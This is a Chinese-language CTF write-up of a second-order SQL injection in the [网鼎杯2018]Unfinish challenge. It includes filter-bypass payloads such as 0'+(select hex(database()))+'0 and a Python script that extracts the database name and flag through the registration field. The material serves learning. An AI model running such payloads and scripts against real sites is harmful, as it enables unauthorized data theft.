【网络安全】CTF——[网鼎杯2018]Unfinish-SQL注入-二次注入

目录

一、前言

二、环境

三、复现

3.1寻找注入点        

3.2尝试盲注        

3.3正则限制       

3.4脚本注入获取flag

四、总结


一、前言

        前两天复现了一道CTF题目[网鼎杯 2018]Comment,今天继续来学习一下SQL二次注入。

二、环境

BUUCTF在线评测

三、复现

3.1寻找注入点        

        进到靶场,是一个登录页面,但是又没有给出或提示账号密码等信息。我们找一下有没有注册页面。

        我使用了AWVS工具来扫一下,找找别的目录。找到了注册页面:register.php

        先注册账号进去看一下,登录进来以后展示的只有一个注册的用户名

3.2尝试盲注        

        展示的只有用户名,没有别的了。好像是在注册的时候把用户名存在数据库里面了,然后展示在前端了。那在注册的时候用户名应该怎么注册。是否能够二次注入,二次注入就是当存储的时候经过过滤,但是在出库的时候没做好过滤导致出现二次注入。既然展示的是注册的用户名,那么存入的时候这个用户名应该怎么注册?

尝试构造sql盲注语句 username=bbb' and left(database(),1)>'a'#

bbb' and left(database(),1)>'a'#

        注册的用户名构造的SQL语句是想从左取第一位,如果为真就返回,如果为假就显示不出来了。但是不能注册,那么还能盲注吗?   

       

        好像是注册的用户名加入了单引号,被过滤了,直接显示nonono。

3.3正则限制       

        现在需要考虑的是这个正则限制了哪些,能不能绕过?

        BurpSuite提供的有个功能,能够爆破。通过看返回值我们能看到过滤了什么,现在去GitHub找字典,然后继续进行操作。这里可以看到information逗号被过滤了        

        知道过滤了什么,那继续测试注册账号。注册的用户名,但是还是无法显示。应该被单引号引起来了,导致没办法显示。现在还是没逃脱单引号的控制。

select database()

        怎么逃脱单引号呢?假设语句是这样的:

insert into users (email, username, password) values ('$email', '$username', '$password');

        闭合他的单引号,注册用户名 0'+select database()+'0 直接注册不成功,没跳转到登录

email=666@qq.com&username=0'+select database()+'0&password=666

        现在发现在进行正常的注册、登录操作时。当注册成功时,系统返回302跳转到登录页面(注册失败时系统返回200)登录时,使用邮箱和密码登录,登录成功后,系统返回302跳转到index.php页面,显示用户名。登录时用到的是邮箱和密码,而注册时还有一个用户名,而这个用户名会在登录后显示,所以我们考虑用户名这里可能存在二次注入 。

        没有注册成功,试试十六进制能否注册成功

0'+(select hex(database()))+'0

        报出来数据库名了?解码看一下,数据库名web

3.4脚本注入获取flag

        既然报出库名了,那下一步就是注入表名和注入列名了。sql注入一般都会用到information_schema这个库(mysql自带的库),禁用掉这个表是一个很好的防御手段,可以使用无列名注入来绕过。

猜测表名直接猜测表名为flag。CTF题目设计惯例默认命名规则:
CTF中Flag通常存储在名为flag的表或列中(如flag、flags、secret等),这是比赛中的常见设计模式。
绕过信息限制:
当information_schema被过滤时,无法通过系统表查询数据库结构,需依赖经验猜测。
若尝试flag表名失败,可继续测试其他常见表名(如hint、secret)。

import requests
import time
from bs4 import BeautifulSoup    def getDatabase():database = ''for i in range(10):data_database = {'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin11@admin.com"+str(i)}#注册requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/register.php",data_database)login_data={'password':'admin',"email":"admin11@admin.com"+str(i)}response=requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/login.php",login_data)html=response.text                 soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]username=getUsername.textif int(username)==0:breakdatabase+=chr(int(username))return databasedef getFlag():flag = ''for i in range(40):data_flag = {'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin32@admin.com"+str(i)}#注册requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/register.php",data_flag)login_data={'password':'admin',"email":"admin32@admin.com"+str(i)}response=requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/login.php",login_data)html=response.text                  soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]username=getUsername.textif int(username)==0:breakflag+=chr(int(username))return flagprint(getDatabase())
print(getFlag())

        运行结果:flag{228a223c-98f4-421f-ac54-e603170d9485}

四、总结

        本次学习感受到了在真实环境下确实有很多各式各样的障碍,在本篇学习的过程中,之前注入都是从infomercial中来注入出表名和列名的。今天学到了如何无列名注入从而绕过infomercial的过滤。下章会更新下无列名的注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/92522.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92522.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【langchain】如何给langchain提issue和提pull request?

什么是issue? 可以这么理解,bug是issue的子集。issue可以包含bug\feature\sercurity and others. https://github.com/langchain-ai/langchain/issues/32484 什么是pull request? 其实我真不是很理解,但不妨我来提pr https://github.com/langchain-ai/…

MySQL的存储引擎:

目录 InooDB引擎: MyISAM引擎: InooDB引擎与MyISAM存储引擎的区别: Archive引擎: Blackhole引擎: CSV引擎: Memory引擎: Federated引擎: Merge引擎: NDB引擎&a…

Mock与Stub

一、核心概念与差异对比特性MockStub核心目的验证对象间的交互行为提供预定义的固定响应验证重点方法调用次数、参数、顺序不关注调用过程,只关注结果行为模拟可编程的智能模拟静态的简单响应适用场景验证协作关系隔离依赖、提供固定数据复杂性较高(需要…

香港服务器容器网络插件的多节点通信性能基准测试

香港服务器容器网络插件的多节点通信性能基准测试在云计算和容器化技术快速发展的今天,香港服务器因其优越的地理位置和网络环境,成为众多企业部署容器服务的首选。本文将深入探讨香港服务器环境下容器网络插件的多节点通信性能,通过详实的基…

Vue3 学习教程,从入门到精通,Vue 3 全局 API 语法知识点及案例详解(32)

Vue 3 全局 API 语法知识点及案例详解 Vue 3 提供了丰富的全局 API,用于创建应用实例、注册全局组件、指令、插件等。以下将详细介绍 Vue 3 的主要全局 API,并结合详细的案例代码进行说明。每个案例代码都包含中文注释,帮助初学者更好地理解…

UE5多人MOBA+GAS 41、制作一个飞弹,添加准心索敌

文章目录添加新角色(不写了)创建一个发射技能创建一个飞弹类添加击中特效添加准星UI获取瞄准目标添加新角色(不写了) 将原本的机器人蓝图改为BP_PlayerCharacter,以此创建子蓝图 创建动画蓝图模板(具体就…

解决渲染抖动与滚动锚点定位不准确问题的方法与经验分享

场景描述:React 虚拟列表(Virtualized List)是当我们在处理大列表时,为了提升性能而采用的一种技术。然而在实现过程中,可能会遇到渲染抖动问题以及滚动锚点定位不准确的问题。  解决方案:React虚拟列表实…

OpenAI 时隔多年再开源!GPT-OSS 120B/20B 发布,支持本地部署,消费级 GPU 即可运行

OpenAI 近期做出了一项令人瞩目的战略转变:宣布推出两款开放权重(Open Weight) 语言模型 GPT-OSS-120B 和 GPT-OSS-20B。这不仅是其自 GPT-2 之后首次开源模型,更关键的是,这两款模型特别针对消费级硬件进行了深度优化…

MySQL高可用方案之MySQL Group Replication高可用架构搭建完全指南

MySQL Group Replication高可用架构搭建完全指南 前言 在当今互联网应用中,数据库高可用性已成为系统设计的核心需求。MySQL作为最流行的开源关系型数据库之一,其高可用解决方案备受关注。MySQL Group Replication是MySQL官方推出的原生高可用解决方案,它基于Paxos协议实现…

网站SSL证书到期如何更换?简单完整操作指南

----------------------------------------------------------------------------------------------- 这是我在我的网站中截取的文章,有更多的文章欢迎来访问我自己的博客网站rn.berlinlian.cn,这里还有很多有关计算机的知识,欢迎进行留言或…

Spring Boot 开发三板斧:POM 依赖、注解与配置管理

引言 Spring Boot 是一个功能强大且广受欢迎的框架,用于快速构建基于 Spring 的应用。它通过简化配置和自动化管理,帮助开发者专注于业务逻辑的实现。然而,要想高效地开发 Spring Boot 应用,掌握以下三个关键点至关重要&#xff1…

kubernetes安装搭建

个人博客站—运维鹿:http://www.kervin24.top/ CSDN博客—做个超努力的小奚: https://blog.csdn.net/qq_52914969?typeblog 一、kubernetes介绍 Kubernetes本质是一组服务器集群,它可以在集群的每个节点上运行特定的程序,来对节点中的容…

MySQL高可用方案之MySQL InnoDB Cluster高可用架构实战指南:从零搭建到生产部署

MySQL InnoDB Cluster高可用架构实战指南:从零搭建到生产部署 一、引言:为什么选择MySQL InnoDB Cluster 在当今数据驱动的商业环境中,数据库高可用性已成为企业IT基础设施的核心需求。MySQL作为全球最受欢迎的开源关系型数据库,其高可用解决方案备受关注。而MySQL InnoD…

祝融号无线电工作频段

前面深入查证了旅行者1号的无线电工作频段: 旅行者1号无线电工作频段-CSDN博客 下面尝试查证我国祝融号无线电工作频段。 一、百度百科 来自百度百科: 我注意到一条关键信息: 这说明祝融号在国际上是有合作的,而不是我们国家单…

Kafka生产者相关原理

前言前面已经介绍了Kafka的架构知识并引出了Kafka的相关专业名称进行解释这次分享一下Kafka对生产者发送消息进行处理的运行机制和原理生产者发送消息两种方式同步发送消息程序中线程执行完消息发送操作之后会等待Kafka的消息回应ack默认等待30秒没有回应就会抛出异常等待时间和…

Python 获取对象信息的所有方法

在 Python 里,我们经常需要检查一个对象的类型、属性、方法,甚至它的源码。这对调试、学习和动态编程特别有用。今天我们就来聊聊获取对象信息的常见方法,按由浅入深的顺序来学习。 参考文章:Python 获取对象信息 | 简单一点学习…

vuhub Beelzebub靶场攻略

靶场下载: 下载地址:https://download.vulnhub.com/beelzebub/Beelzebub.zip 靶场攻略: 主机发现: nmap 192.168.163.1/24 端口扫描: nmap -p-65535 -A 192.168.163.152 发现没有额外端口。 页面扫描&#xff1…

开启单片机

前言:为未来拼搏的第n天,从单片机开始。为什么要学习单片机呢,单片机的工作涉及范围及其广如:消费电子,游戏机音响;工业控制:机器人控制;医疗设备,通信设备,物…

人工智能系列(8)如何实现无监督学习聚类(使用竞争学习)?

案例:鸢尾花数据集的聚类一.聚类简介神经网络能够从输入数据中自动提取有意义的特征,而竞争学习规则使得单层神经网络能够根据相似度将输入样本进行聚类,每个聚类由一个输出神经元代表并作为该类别的“原型”,从而实现对输入模式的…

Windows安装mamba全流程(全网最稳定最成功)

windows系统下安装mamba会遇到各种各样的问题。博主试了好几天,把能踩的坑都踩了,总结出了在windows下安装mamba的一套方法,已经给实验室的windows服务器都装上了。只要跟着我的流程走下来,大概率不会出问题,如果遇到其…